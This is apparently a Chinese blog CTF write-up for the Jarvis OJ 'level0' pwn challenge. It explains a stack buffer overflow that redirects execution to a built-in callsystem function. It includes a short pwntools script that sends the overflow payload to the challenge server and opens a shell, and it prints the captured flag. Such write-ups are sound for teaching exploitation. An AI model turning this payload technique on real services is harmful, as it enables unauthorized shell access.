差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼

分析一下,checksec 查看程序的各种保护机制

没有金丝雀,没有pie

执行时输出Hello,World,在进行输入,溢出嘛

 开工

丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem

继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8

所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell

程序流程(从ABO偷来下图)

灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序

脚本

 #!/usr/bin/env python
# coding:utf-8
# writen by Exm from pwn import *
io = process("./level0")
io = remote("pwn2.jarvisoj.com" , 9881)
elf = ELF("./level0")
func_addr = elf.symbols["callsystem"]
payload = 'a' * (0x80 + 0x8) + p64(func_addr) io.recvline()
io.sendline(payload)
io.interactive()
io.close()

补充一下

symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!

执行一下就getshell啦,拿flag入探囊取物

flag: CTF{713ca3944e92180e0ef03171981dcd41}

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

最新文章

  1. 并发编程 01—— ThreadLocal
  2. Intent启动一个新的页面
  3. Ecshop文章列表页显示内容摘要
  4. [转载] 【每周推荐阅读】C-Store:列式存储数据库
  5. Deep Learning in Bioinformatics
  6. OLEDB简介
  7. 5.4 RegExp类型
  8. JDK和JRE的差异和区别
  9. js“分享到”侧边框伸缩实现
  10. python WEB接口自动化测试之requests库详解
  11. Oracle的基本学习(一)—安装Oracle
  12. AI 学习新的开始
  13. mongodb系列之---副本集配置与说明
  14. 中兴iptv机顶盒破解教程图文:亲测中兴B760EV3、B860A、B860AV1.1完美安装应用!非ttl破解![转]
  15. [android] 手机卫士项目
  16. python3用BeautifulSoup抓取div标签
  17. 关于Markdown插入图片路径错误的问题
  18. HTTP 请求头中的 X-Forwarded-For,X-Real-IP
  19. App phonegap
  20. ArcGIS Desktop 10.1+ArcEngine10.1完全破解安装教程(含下载地址+亲测可用!)

热门文章

  1. StringDup(理论AC)
  2. Problem D
  3. 记录下 Markdown 语法
  4. Python中编码问题:u'\xe6\x97\xa0\xe5\x90\x8d' 类型的转为utf-8的解决办法
  5. (转)微信开发连接SAE数据库
  6. python+selenium安装
  7. 【MFC】基于OpenCV的魔镜
  8. 几种文件查找命令,whereis ,find ,locate.
  9. Mac上编译并运行Android5.0源码
  10. js中的break,continue和return到底怎么用?